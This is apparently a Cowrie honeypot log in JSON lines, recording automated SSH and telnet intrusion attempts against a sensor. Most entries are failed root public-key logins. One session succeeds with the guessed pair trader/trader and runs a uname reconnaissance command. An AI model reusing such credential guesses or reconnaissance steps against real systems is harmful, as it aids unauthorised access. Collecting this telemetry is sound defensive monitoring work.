{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8d:6f:fa:84:ea:0e:2e:f5:58:a3:49:a6:5f:c3:36:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtNGsLVenDgAlQfgIkiW/6jEnqnTRreVrW/7bk7YXBhmArvyGGOlA3dC19+pX7woAmSXGwNMfF1ljikPJeztqLvCTH9FTBzuJ9sgtPwqp21GFPv4HRLdNwSyisBnrdCuEKCtSwU21frTA0KrrEswN0uk0q0R2zCnP+LJ/BRUtjYus0IA6UctKF/hMAHoL7CwQc/VslplO7AgrDpL71LBwyl5yPaX7UIZKDqhOeeYpAC6bqu0O0ZgGa9dPpeJxFt1tCBmR/DGRSLxTnDqqUKFADPHpbYoOFPWmrIkotq6cs8CsMwLKuuI24du3cjgQs22mx4S4kbG98eNlwkLQFc691w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8d:6f:fa:84:ea:0e:2e:f5:58:a3:49:a6:5f:c3:36:ac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:29:32.343219Z","src_ip":"68.235.62.179","session":"27b3327c331b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8d:6f:fa:84:ea:0e:2e:f5:58:a3:49:a6:5f:c3:36:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtNGsLVenDgAlQfgIkiW/6jEnqnTRreVrW/7bk7YXBhmArvyGGOlA3dC19+pX7woAmSXGwNMfF1ljikPJeztqLvCTH9FTBzuJ9sgtPwqp21GFPv4HRLdNwSyisBnrdCuEKCtSwU21frTA0KrrEswN0uk0q0R2zCnP+LJ/BRUtjYus0IA6UctKF/hMAHoL7CwQc/VslplO7AgrDpL71LBwyl5yPaX7UIZKDqhOeeYpAC6bqu0O0ZgGa9dPpeJxFt1tCBmR/DGRSLxTnDqqUKFADPHpbYoOFPWmrIkotq6cs8CsMwLKuuI24du3cjgQs22mx4S4kbG98eNlwkLQFc691w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:29:32.347255Z","src_ip":"68.235.62.179","session":"27b3327c331b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a4:b4:4a:2e:bf:31:f4:25:2c:29:ed:f5:e0:3c:a3:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC3N/6RiclnjDDB2qn4HozE7eCiZcU02/SBCyMEA0mN2xWDDLoPwQlGhAHUqtGx0KYlVr8Ks1j1iQ6Sz5/3S4NDQZ2N1lamZ9bQHb81ComIRle55kjAxxhCqYyaUeed7UPunRz1d7RcI48VNbznpNgxbKZ4NGykSuw72dWaU4hZaWGhBXam8bAR9IzGMiuOJth3wcWDpVY9/OUBRFQ8A8Pl4kgTCOSLvh4cBVQKDJFd0UPXHo+8zn5BFA0gxxRrJ3ygFvJ8OOwOUhPlomkTi7ZJWL+rpjQ0wbqlDzc7ufVnsvzvJ8zmBEIr3QNVzCfAqF65/s7VfzpwZwsy24hm3im7e0uEzltPUzoFkTy5zfzJs9tr/l99qslP5uLHaBeIS++N5AKHkc9RimnQMh1zULxvUibB+rd8valuWvoM0OshSahKYcEV6HPTPwURoH8NkVCMf+guBeF6eWaZy467e0hzHtAYEXmy07oITlcN5i2PsOuLI7Zde6dadxhoxJ+xmUS9ZvFddvDLzMABez5NeEqgHrYD3GwF4J3+3bSM9jMeTClmSgM9XRaybmM8dqyUm/FxGsBgrVDAVyU7iLTp5FNC2cEoNHRzAfDeI1iIWCEpH8WmuoQEbAZb4Bmv+tUFfG2X7/Zj8npddN6axpmdR8TE8QkLTnIzweytCfTAbyz9Xw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a4:b4:4a:2e:bf:31:f4:25:2c:29:ed:f5:e0:3c:a3:c4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:29:32.382912Z","src_ip":"68.235.62.179","session":"27b3327c331b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a4:b4:4a:2e:bf:31:f4:25:2c:29:ed:f5:e0:3c:a3:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC3N/6RiclnjDDB2qn4HozE7eCiZcU02/SBCyMEA0mN2xWDDLoPwQlGhAHUqtGx0KYlVr8Ks1j1iQ6Sz5/3S4NDQZ2N1lamZ9bQHb81ComIRle55kjAxxhCqYyaUeed7UPunRz1d7RcI48VNbznpNgxbKZ4NGykSuw72dWaU4hZaWGhBXam8bAR9IzGMiuOJth3wcWDpVY9/OUBRFQ8A8Pl4kgTCOSLvh4cBVQKDJFd0UPXHo+8zn5BFA0gxxRrJ3ygFvJ8OOwOUhPlomkTi7ZJWL+rpjQ0wbqlDzc7ufVnsvzvJ8zmBEIr3QNVzCfAqF65/s7VfzpwZwsy24hm3im7e0uEzltPUzoFkTy5zfzJs9tr/l99qslP5uLHaBeIS++N5AKHkc9RimnQMh1zULxvUibB+rd8valuWvoM0OshSahKYcEV6HPTPwURoH8NkVCMf+guBeF6eWaZy467e0hzHtAYEXmy07oITlcN5i2PsOuLI7Zde6dadxhoxJ+xmUS9ZvFddvDLzMABez5NeEqgHrYD3GwF4J3+3bSM9jMeTClmSgM9XRaybmM8dqyUm/FxGsBgrVDAVyU7iLTp5FNC2cEoNHRzAfDeI1iIWCEpH8WmuoQEbAZb4Bmv+tUFfG2X7/Zj8npddN6axpmdR8TE8QkLTnIzweytCfTAbyz9Xw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:29:32.387378Z","src_ip":"68.235.62.179","session":"27b3327c331b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:29:32.425336Z","src_ip":"68.235.62.179","session":"27b3327c331b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":55350,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4d09716293f","protocol":"telnet","message":"New connection: 135.148.33.91:55350 (159.203.135.109:23) [session: f4d09716293f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:29:46.648832Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.219.244.60","src_port":38512,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff83498d7137","protocol":"telnet","message":"New connection: 190.219.244.60:38512 (10.17.0.5:23) [session: ff83498d7137]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:30:03.437744Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.55.211.4","src_port":44708,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1ce562a3112","protocol":"ssh","message":"New connection: 46.55.211.4:44708 (10.17.0.5:22) [session: d1ce562a3112]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:30:10.463067Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:30:10.469428Z","src_ip":"46.55.211.4","session":"d1ce562a3112","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:30:10.591167Z","src_ip":"46.55.211.4","session":"d1ce562a3112","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"77:02:28:3e:35:c8:ab:6c:3e:8d:a8:89:7f:5c:d1:df","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDkig94OYQzyutTovHPBf8Z6MtBRAukrypLM9+7cR4OlQFi73ZepeVKwb8Sd7zY0nhn/eZZp4iyOIPudbNwElqKnZv8K8Ab4v+BKwN3TQ017J7ore46a/+i2gZarVRP8qoTOA/Oa9TxISyHQ8KqOLHo7KsHmDTve3DscjJcJ8Ps1MdzuptLXromtucmUNItV6pz5dOPkNhyTaOvALxln6oj3xW+UVZC3pmbVT4jTuYvNJty8htolfhhwJf8Nv/g76yv2BH1YrmNsvc/RlYnp2zPJOC5aDdQRfL+1ZauzD+KMmlBN+DeyzdQg6H5K33mVWxMlncjRpIQwjEll7c736s/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 77:02:28:3e:35:c8:ab:6c:3e:8d:a8:89:7f:5c:d1:df","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:30:11.175754Z","src_ip":"46.55.211.4","session":"d1ce562a3112","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"77:02:28:3e:35:c8:ab:6c:3e:8d:a8:89:7f:5c:d1:df","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDkig94OYQzyutTovHPBf8Z6MtBRAukrypLM9+7cR4OlQFi73ZepeVKwb8Sd7zY0nhn/eZZp4iyOIPudbNwElqKnZv8K8Ab4v+BKwN3TQ017J7ore46a/+i2gZarVRP8qoTOA/Oa9TxISyHQ8KqOLHo7KsHmDTve3DscjJcJ8Ps1MdzuptLXromtucmUNItV6pz5dOPkNhyTaOvALxln6oj3xW+UVZC3pmbVT4jTuYvNJty8htolfhhwJf8Nv/g76yv2BH1YrmNsvc/RlYnp2zPJOC5aDdQRfL+1ZauzD+KMmlBN+DeyzdQg6H5K33mVWxMlncjRpIQwjEll7c736s/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:30:11.180607Z","src_ip":"46.55.211.4","session":"d1ce562a3112","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"85:45:23:1f:0e:a8:a3:b0:17:8d:95:bc:23:3d:be:a0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZrf6huvi/8HfjM3jm59Wt7vaip9aQ0Xwcs8ZkkfdDgr/lVjZ2kPbYUMNTPrgTHVSEVeGY1A9ZbP4tlVuVShhr8jA9DsbAIUzHexMX/cODXPBBhsv8ai/WO+IYV6Ib06kwCoXj/6y6MVBF5km07rHQeCHRE6nr5NTLmuSmTJhvojiC5zkbpkH+cmTEULpDC3o5KURhCZOqk4aYe72+q5D9cnrcWbARdhatkqXjm/LC+p0vsqdN1fuG7KaUhbSGgmfAP2NWi8JoV9KJVGPIDsrgvJaJzsO6RCQrjnYum0oCwSV2ejrL4hS/jAjomGSUaZbNWcjcb2RzSWsecUZtozdh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 85:45:23:1f:0e:a8:a3:b0:17:8d:95:bc:23:3d:be:a0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:30:11.307085Z","src_ip":"46.55.211.4","session":"d1ce562a3112","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"85:45:23:1f:0e:a8:a3:b0:17:8d:95:bc:23:3d:be:a0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZrf6huvi/8HfjM3jm59Wt7vaip9aQ0Xwcs8ZkkfdDgr/lVjZ2kPbYUMNTPrgTHVSEVeGY1A9ZbP4tlVuVShhr8jA9DsbAIUzHexMX/cODXPBBhsv8ai/WO+IYV6Ib06kwCoXj/6y6MVBF5km07rHQeCHRE6nr5NTLmuSmTJhvojiC5zkbpkH+cmTEULpDC3o5KURhCZOqk4aYe72+q5D9cnrcWbARdhatkqXjm/LC+p0vsqdN1fuG7KaUhbSGgmfAP2NWi8JoV9KJVGPIDsrgvJaJzsO6RCQrjnYum0oCwSV2ejrL4hS/jAjomGSUaZbNWcjcb2RzSWsecUZtozdh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:30:11.311733Z","src_ip":"46.55.211.4","session":"d1ce562a3112","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"13:be:6e:9e:15:0b:76:73:eb:2b:1d:0c:da:f0:5c:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7IJbZO3vX+nVnMNrWZBuX3H+oK2v1hhaca/t1jhvPcMJ7opNOhjTIMBuOc2SW8tdNA92giaatUXPzkcza8aqN5mXWer+i+KubaSkE+FxL+wSpayMrTlKCuxNpSSwHjzM9A9ObZZVps0nhIuFtMv01IboFH6n1idbOV4JHMBQDKbLmRLzGvk97R4/Ezp0HvKPt8p2SLxWWikjBfrBKYu3btCi+V2U1QHLr7yOOsE6ZsIyHUPIKPpe6LhTGPAx3jrS/X9guigR6EA7hjR7l9i9VmGTCB74BvxWhB15M1Mqpe/F4ls4TvUa8gEYLWvYDhoQrsGuBAEEJGEBm62XSZ3L/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 13:be:6e:9e:15:0b:76:73:eb:2b:1d:0c:da:f0:5c:bc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:30:11.438472Z","src_ip":"46.55.211.4","session":"d1ce562a3112","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"13:be:6e:9e:15:0b:76:73:eb:2b:1d:0c:da:f0:5c:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7IJbZO3vX+nVnMNrWZBuX3H+oK2v1hhaca/t1jhvPcMJ7opNOhjTIMBuOc2SW8tdNA92giaatUXPzkcza8aqN5mXWer+i+KubaSkE+FxL+wSpayMrTlKCuxNpSSwHjzM9A9ObZZVps0nhIuFtMv01IboFH6n1idbOV4JHMBQDKbLmRLzGvk97R4/Ezp0HvKPt8p2SLxWWikjBfrBKYu3btCi+V2U1QHLr7yOOsE6ZsIyHUPIKPpe6LhTGPAx3jrS/X9guigR6EA7hjR7l9i9VmGTCB74BvxWhB15M1Mqpe/F4ls4TvUa8gEYLWvYDhoQrsGuBAEEJGEBm62XSZ3L/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:30:11.442971Z","src_ip":"46.55.211.4","session":"d1ce562a3112","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c4:0d:6f:8d:ce:20:44:7d:4b:dd:9d:94:1b:81:d7:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDctRiTnO4mKug7xTQsrDRohTgVqynIaEEdNR+9MGZIkCmkEfgArPAtA9noQVWaPK9Wie9q5aUA51l2hBTQjOdTfeNrapjiOQ1ysOXTAo5OI3On0gcuFHyCJsaIpSZ4RfPi9+8GFhabapVXs2ih6JWCr21VWU4DXZPwsS7eDae+8w8bWfAn+aIcK40DQS1ZU0oKagtV6YZlV3CxbdbkcrcAQFXd3XqmvbJuqlbfu79kAYJPD5G+59hcNyAJyss2df3eEKc2zo/+ie0EBNIi/qXKffORXxK1Y4VYlnckg4zXjdg+OqE7+KIN7kpipPwKQWK7IY18IZsti+iuAxF8kz0H","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c4:0d:6f:8d:ce:20:44:7d:4b:dd:9d:94:1b:81:d7:64","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:30:11.565392Z","src_ip":"46.55.211.4","session":"d1ce562a3112","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c4:0d:6f:8d:ce:20:44:7d:4b:dd:9d:94:1b:81:d7:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDctRiTnO4mKug7xTQsrDRohTgVqynIaEEdNR+9MGZIkCmkEfgArPAtA9noQVWaPK9Wie9q5aUA51l2hBTQjOdTfeNrapjiOQ1ysOXTAo5OI3On0gcuFHyCJsaIpSZ4RfPi9+8GFhabapVXs2ih6JWCr21VWU4DXZPwsS7eDae+8w8bWfAn+aIcK40DQS1ZU0oKagtV6YZlV3CxbdbkcrcAQFXd3XqmvbJuqlbfu79kAYJPD5G+59hcNyAJyss2df3eEKc2zo/+ie0EBNIi/qXKffORXxK1Y4VYlnckg4zXjdg+OqE7+KIN7kpipPwKQWK7IY18IZsti+iuAxF8kz0H","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:30:11.569923Z","src_ip":"46.55.211.4","session":"d1ce562a3112","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1b:dc:df:86:0e:f5:da:2e:e5:b2:c2:25:92:c8:d6:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZOv1MA6EM4rXTHUhO3G3rCNrkrJIMiPunmpUTRi+yNX9b/8/y4xlTWMAK3pgTjx2TIOfUopquZPW95nFhFwocN/A2+wytc0Tk+N1X+1kSZFBVZyrtXAvN4pVniELEr37bGLQW+kqrvRUkEhfB3UeVCnlaoe5ohqqP4nz1TGvnz2WGuEqcTk/f8ztXVHHSKLmbuugZyq8Nfk14dLMWcRw9g4phKx/waxOKpdKlnwG2WCZ+Rv/8fhQc2VNa1ROt6BsSOQc+QY+Q5LJdxngyf0qBc2C9dtG35NEVEpVhDtWHQJ3wlx6hlWRICYxYavr+aTJBnUZ2spoezohZjsGeueFB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1b:dc:df:86:0e:f5:da:2e:e5:b2:c2:25:92:c8:d6:a3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:30:11.693546Z","src_ip":"46.55.211.4","session":"d1ce562a3112","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1b:dc:df:86:0e:f5:da:2e:e5:b2:c2:25:92:c8:d6:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZOv1MA6EM4rXTHUhO3G3rCNrkrJIMiPunmpUTRi+yNX9b/8/y4xlTWMAK3pgTjx2TIOfUopquZPW95nFhFwocN/A2+wytc0Tk+N1X+1kSZFBVZyrtXAvN4pVniELEr37bGLQW+kqrvRUkEhfB3UeVCnlaoe5ohqqP4nz1TGvnz2WGuEqcTk/f8ztXVHHSKLmbuugZyq8Nfk14dLMWcRw9g4phKx/waxOKpdKlnwG2WCZ+Rv/8fhQc2VNa1ROt6BsSOQc+QY+Q5LJdxngyf0qBc2C9dtG35NEVEpVhDtWHQJ3wlx6hlWRICYxYavr+aTJBnUZ2spoezohZjsGeueFB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:30:11.698541Z","src_ip":"46.55.211.4","session":"d1ce562a3112","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:30:11.822129Z","src_ip":"46.55.211.4","session":"d1ce562a3112","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":32920,"dst_ip":"159.203.135.109","dst_port":22,"session":"d60e7afa77c4","protocol":"ssh","message":"New connection: 2.57.122.208:32920 (159.203.135.109:22) [session: d60e7afa77c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:30:12.826105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:30:12.921324Z","src_ip":"2.57.122.208","session":"d60e7afa77c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:30:13.035064Z","src_ip":"2.57.122.208","session":"d60e7afa77c4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"trader","password":"trader","message":"login attempt [trader/trader] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:30:13.628266Z","src_ip":"2.57.122.208","session":"d60e7afa77c4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:30:14.066994Z","src_ip":"2.57.122.208","session":"d60e7afa77c4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:30:14.070836Z","src_ip":"2.57.122.208","session":"d60e7afa77c4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:30:14.336394Z","src_ip":"2.57.122.208","session":"d60e7afa77c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:30:14.344998Z","src_ip":"2.57.122.208","session":"d60e7afa77c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.27303957939148,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:30:16.710574Z","src_ip":"190.219.244.60","session":"ff83498d7137","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.841644525527954,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:30:19.490359Z","src_ip":"135.148.33.91","session":"f4d09716293f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":60806,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5910dffafed","protocol":"ssh","message":"New connection: 2.57.122.208:60806 (159.203.135.109:22) [session: e5910dffafed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:32:42.925577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:32:43.019011Z","src_ip":"2.57.122.208","session":"e5910dffafed","protocol":"ssh"}
